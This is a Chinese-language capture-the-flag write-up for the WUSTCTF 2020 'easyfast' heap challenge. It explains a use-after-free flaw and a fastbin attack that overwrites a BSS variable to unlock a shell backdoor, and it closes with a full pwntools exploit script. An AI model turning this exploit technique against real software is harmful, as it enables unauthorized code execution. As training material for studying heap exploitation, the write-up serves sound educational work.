Problem: [WUSTCTF 2020]easyfast
[[toc]]
思路
先看保护

静态分析
main函数:老样子,给选项

sub_400916函数:创建chunk,将chunk地址保存在bss段的buf数组上,另外在bss段存在一个变量记录创建的次数。
sub_4009d7函数:根据下标释放,然而并没有将buf上指向chunk的指针置0 UAF漏洞
sub_400a4d函数:向chunk中写入内容
sub_602090函数:后门函数,在bss段上有一个变量,如果这个变量大于0则输出一串字符,如果为0则执行shell。
思路分析
存在UAF漏洞,直接创俩chunk,先后free,通过填充内容功能将fastbin列表中的一个freechunk的fd指向后门函数说的那个变量处,在创俩chunk实现能够修改变量值的目的
动态调试
- 创建俩个0x40大小的chunk(能够挂到fastbin就行)

- 先后free掉这俩chunk

- 我们先看到,此时那个变量的值为1


- 通过填充功能将下面所指的地方指向变量地址偏移0x10(给prev_size size占位)

- 此时我们可以看到fastbin表已经发生变化

- 现在再创建俩0x40大小的chunk
- 将变量内容改为0
- 调用后门
EXP
from pwn import * from LibcSearcher import* context(arch = 'amd64', os = 'linux', log_level = 'debug') context.terminal = ['tmux','splitw','-h'] io = process('./service') ##io = remote('node5.anna.nssctf.cn',21296) s = lambda content : io.send(content) sl = lambda content : io.sendline(content) sa = lambda content,send : io.sendafter(content, send) sla = lambda content,send : io.sendlineafter(content, send) rc = lambda number : io.recv(number) ru = lambda content : io.recvuntil(content) def slog(name, address): io.success(name+"==>"+hex(address)) def debug(): gdb.attach(io) def add(size): sla(b"choice>\n", b'1') sla(b"size>\n", str(size)) def delect(index): sla(b"choice>\n", b'2') sla(b"index>\n", str(index)) def backdoor(): sla(b"choice>\n", b'4') def take(index, content): sla(b"choice>\n", '3') sla(b"index>\n", str(index)) s(content) elf = ELF('./service') fake = 0x602090 add(0x40) add(0x40) delect(0) delect(1) take(1,p64(0x602080)) add(0x40) add(0x40) take(3,p64(0)) backdoor() io.interactive()
总结
- 对该题的考点总结
